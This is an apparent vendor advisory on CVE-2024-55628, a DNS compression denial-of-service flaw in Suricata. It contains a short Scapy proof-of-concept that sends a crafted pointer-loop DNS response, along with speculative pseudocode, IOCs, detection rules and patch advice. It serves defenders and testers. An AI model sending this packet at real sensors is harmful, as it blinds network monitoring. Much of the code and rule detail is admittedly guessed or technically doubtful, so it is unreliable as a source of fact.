CVE-2024-55628

Executive Summary

CVE-2024-55628 is a high-severity (CVSS 7.5) denial-of-service vulnerability in Suricata, a widely used network IDS/IPS and NSM engine. The flaw resides in the DNS resource name compression handling logic. By crafting small DNS messages that contain extremely large hostnames through compression, an attacker can force Suricata to allocate excessive resources for decoding and logging, leading to performance degradation or service unavailability. The issue is addressed in Suricata version 7.0.8, which tightens the limits on decompressed hostname sizes.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a significant threat to availability. The low attack complexity and lack of required privileges increase the risk of widespread exploitation.

Deep Dive & Mechanics

DNS resource name compression (RFC 1035) allows DNS messages to be more compact by using pointers to previously occurring domain name labels. Suricata's DNS parser, when decompressing these names, did not adequately limit the resulting hostname length. An attacker can craft a DNS response or query that uses compression to represent a very long hostname (e.g., thousands of characters) within a small packet. Suricata's decoder would then expand this into a huge string, consuming CPU and memory, and potentially generating enormous log entries. The existing limits were too generous, allowing the attack to succeed.

The core issue is in the DNS decompression routine, which recursively follows pointers without a strict bound on the total decompressed length. This can lead to exponential expansion in worst-case scenarios.

Vulnerable vs. Patched Code

Vulnerable (pre-7.0.8): The DNS decompression function likely had a maximum decompressed length limit that was too high (e.g., 4096 bytes) or no limit at all. The code would follow compression pointers and concatenate labels without checking the total size until after full decompression.

// Pseudocode of vulnerable logic
char decompressed[4096]; // generous buffer
int offset = 0;
while (/* pointer or label */) {
    if (is_pointer) {
        // follow pointer recursively
        decompress_into(decompressed, &offset, pointer);
    } else {
        // copy label
        memcpy(decompressed + offset, label, label_len);
        offset += label_len;
    }
}
// No check on offset before logging

Patched (7.0.8): The fix introduces a stricter limit on the total decompressed hostname length, likely reducing it to a reasonable value (e.g., 255 bytes, the maximum valid DNS name length). The decompression loop now checks the accumulated length before each addition and aborts if the limit is exceeded.

// Pseudocode of patched logic
#define MAX_DECOMPRESSED_LEN 255
char decompressed[MAX_DECOMPRESSED_LEN];
int offset = 0;
while (/* pointer or label */) {
    if (is_pointer) {
        // follow pointer recursively
        decompress_into(decompressed, &offset, pointer);
    } else {
        if (offset + label_len > MAX_DECOMPRESSED_LEN) {
            // abort, log error
            return -1;
        }
        memcpy(decompressed + offset, label, label_len);
        offset += label_len;
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Craft a malicious DNS packet: Use Scapy to create a DNS response with a compressed name that expands to a very long string.
2. Send the packet to the target Suricata sensor: Use a tool like tcpreplay or scapy to inject the packet into the network segment monitored by Suricata.
3. Observe the impact: Suricata will consume high CPU and memory, potentially dropping packets or becoming unresponsive.

Example Scapy script:

from scapy.all import *
import struct

# Build a DNS response with a maliciously compressed name
# The compression pointer points to a label that itself contains a pointer, creating a loop or long chain
# For simplicity, we create a long chain of labels using pointers

# Craft the DNS header and question
dns_hdr = IP(dst="192.168.1.100")/UDP(dport=53)/DNS(id=1, qr=1, qd=DNSQR(qname="example.com"))

# Build the answer section with a compressed name that expands to a huge string
# We'll use a pointer to a label that is itself a pointer, etc.
# This is a simplified example; real exploit would need careful crafting

# For demonstration, we create a single label with a pointer to itself (infinite loop)
# Suricata would hang or crash
payload = b"\xc0\x0c"  # pointer to offset 12 (the question name)
# This would cause infinite recursion in vulnerable versions

packet = dns_hdr / DNSRR(rrname=payload, type="A", rdata="1.2.3.4")
send(packet)

Blue Team (Detection & Defense)

1. Monitor Suricata logs: Look for unusually large DNS log entries or repeated warnings about decompression failures.
2. Set up resource limits: Use systemd or cgroups to limit Suricata's CPU and memory usage.
3. Deploy network-level detection: Use the Suricata rule provided in the Detection Engineering section to alert on suspicious DNS compression patterns.
4. Apply the patch: Upgrade to Suricata 7.0.8 or later.

Indicators of Compromise (IOCs)

• Network IOCs:

  • DNS packets with compression pointers that create hostnames exceeding 255 characters after decompression.
  • DNS responses with a high ratio of compressed size to decompressed size (e.g., >10x).
  • Repeated DNS queries/responses from the same source IP targeting Suricata sensors.

• Host IOCs:

  • Suricata process consuming excessive CPU (>90% for extended periods).
  • Suricata logs containing extremely long hostname strings (e.g., >1000 characters).
  • Suricata engine crashes or restarts.

• Log IOCs:

  • Suricata eve.json entries with dns.rrname fields exceeding 255 characters.
  • Syslog messages indicating "DNS decompression failed" or "packet too large".

Detection Engineering

YARA Rule

rule CVE_2024_55628_DNS_Compression_DoS {
    meta:
        description = "Detects DNS packets with excessive compression that may exploit CVE-2024-55628"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55628"
    strings:
        $dns_compression = { c0 0c }  // DNS compression pointer to offset 12 (common)
        $long_hostname = /[a-zA-Z0-9\-\.]{256,}/  // hostname >255 chars
    condition:
        $dns_compression and $long_hostname
}

Sigma Rule

title: Suricata DNS Compression DoS Attempt
id: 8f4a3b2c-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects DNS packets with excessive compression that may indicate exploitation of CVE-2024-55628
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: dns
        dns.rrname|re: '[a-zA-Z0-9\-\.]{256,}'
    condition: selection
falsepositives:
    - Legitimate long hostnames (rare)
level: high

Suricata Rule

alert dns any any -> any any (msg:"CVE-2024-55628 DNS Compression DoS Attempt"; dns.query; content:"|c0 0c|"; distance:0; within:2; pcre:"/[a-zA-Z0-9\-\.]{256,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Suricata to version 7.0.8 or later. This is the only complete fix.
2. Workaround: If upgrade is not possible, consider disabling DNS logging or reducing the dns-log-level to minimize impact.
3. Network Mitigation: Deploy network ACLs to restrict DNS traffic to trusted sources only.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Resource Limits: Use systemd or container orchestration to limit Suricata's CPU and memory usage.

Valters IT
DevSecOps & Cyber Threat Intelligence